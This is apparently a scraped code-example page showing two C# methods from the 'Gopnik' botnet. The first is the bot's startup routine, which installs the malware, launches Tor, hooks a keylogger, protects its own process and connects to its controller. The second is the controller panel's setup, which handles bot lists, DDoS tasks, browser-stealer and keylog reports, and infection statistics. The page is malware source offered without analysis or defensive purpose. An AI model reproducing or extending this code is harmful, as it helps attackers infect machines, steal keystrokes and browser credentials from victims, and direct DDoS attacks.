Exemplo n.º 1
0
        public static void StartGopnik()
        {
            APIEngine = new CDynamicAPI();

#if !DEBUG
            if (!CMalwareStartup.InstallBot())
            {
                return;
            }
#endif
            BotConfig = new CConfig();

            if (!CUtils.IsSingleInstance(out mInstance))
            {
                return;
            }

#if !DEBUG
            if (!CTorLoader.StartTor())
            {
                return;
            }
            Thread.Sleep(10000);
#endif
            CKeylogger.ApplyHook();

            CProcessProtection.ProtectProcess(true);

            m_GopnikClient = new CGopnikClient();
            m_GopnikClient.Start();

            Application.Run();

            m_GopnikClient.Stop();
        }
Exemplo n.º 2
0
        public Boolean Start()
        {
            try
            {
                if (File.Exists("GeoIP.dat"))
                {
                    ls = new LookupService("GeoIP.dat", LookupService.GEOIP_MEMORY_CACHE);
                }

                m_GopnikClient = new CGopnikClient();

                m_GopnikClient.OnConnected      += m_GopnikClient_OnConnected;
                m_GopnikClient.OnDisconnect     += m_GopnikClient_OnDisconnect;
                m_GopnikClient.OnLogin          += m_GopnikClient_OnLogin;
                m_GopnikClient.OnResultsPerPage += delegate()
                {
                    if (m_frmMain == null)
                    {
                        return;
                    }

                    if (!m_GopnikClient.IsRunning())
                    {
                        return;
                    }

                    m_frmMain.Invoke((MethodInvoker) delegate()
                    {
                        CUtils.ReplaceRowCellValue(m_frmMain.gvStatistics, "Results per page", "Value", Program.ControllerConfig.ResultsPerPage);
                    });
                };
                //Botlist
                m_GopnikClient.OnTotalBots += m_GopnikClient_OnTotalBots;
                m_GopnikClient.OnBots      += m_GopnikClient_OnBots;

                //Main Tasks
                m_GopnikClient.OnMainTasks       += m_GopnikClient_OnMainTasks;
                m_GopnikClient.OnTotalMainTasks  += m_GopnikClient_OnTotalMainTasks;
                m_GopnikClient.OnMainTaskRemoved += m_GopnikClient_OnMainTaskRemoved;

                //Ddos list
                m_GopnikClient.OnDdosList  += HandleOnDdosList;
                m_GopnikClient.OnTotalDdos += HandleOnTotalDdos;

                //Browser-Stealer Reports
                m_GopnikClient.OnBrowserStealer += m_GopnikClient_OnBrowserStealer;

                //Keylogger Reports
                m_GopnikClient.OnTotalKeylogReports  += m_GopnikClient_OnTotalKeylogReports;
                m_GopnikClient.OnKeylogReports       += m_GopnikClient_OnKeylogReports;
                m_GopnikClient.OnKeylogReport        += m_GopnikClient_OnKeylogReport;
                m_GopnikClient.OnKeylogReportRemoved += m_GopnikClient_OnKeylogReportRemoved;

                //Logs
                m_GopnikClient.OnControllerLog += m_GopnikClient_OnControllerLog;

                //Statistics
                m_GopnikClient.OnOSStatistics      += m_GopnikClient_OnOSStatistics;
                m_GopnikClient.OnCountryStatistics += m_GopnikClient_OnCountryStatistics;
                //Transfer
                m_GopnikClient.OnHeaderReceived += delegate(CPacketHeader Header)
                {
                    DataRow Row = m_Transfer.NewRow();
                    Row[0] = Header.Packet_Ident;
                    Row[1] = (MASTER_PACKET)Header.Packet;
                    Row[2] = Header.Block_Amount;
                    Row[3] = "0";
                    Row[4] = "Receiving";

                    m_frmMain.Invoke((MethodInvoker) delegate()
                    {
                        m_Transfer.Rows.Add(Row);
                    });
                };

                m_GopnikClient.OnPacketReceived += delegate(CPacket Packet)
                {
                    foreach (DataRow Row in m_Transfer.Rows)
                    {
                        string strPacketID = Row[0].ToString();

                        if (strPacketID == Packet.PacketHeader.Packet_Ident)
                        {
                            m_frmMain.Invoke((MethodInvoker) delegate()
                            {
                                m_Transfer.Rows.Remove(Row);
                            });
                            break;
                        }
                    }
                };

                m_GopnikClient.OnBlockReceived += delegate(string strPacketID)
                {
                    foreach (DataRow Row in m_Transfer.Rows)
                    {
                        if (Row[0].ToString() != strPacketID)
                        {
                            continue;
                        }

                        int iReceived = -1;

                        if (!int.TryParse(Row[3].ToString(), out iReceived))
                        {
                            break;
                        }

                        iReceived++;

                        m_frmMain.Invoke((MethodInvoker) delegate()
                        {
                            CUtils.ReplaceRowCellValue(m_frmMain.gvTransfer, strPacketID, "Blocks received", iReceived);
                        });
                    }
                };

                if (m_GopnikClient != null)
                {
                    m_GopnikClient.Start();
                }

                return(true);
            }
            catch { }
            return(false);
        }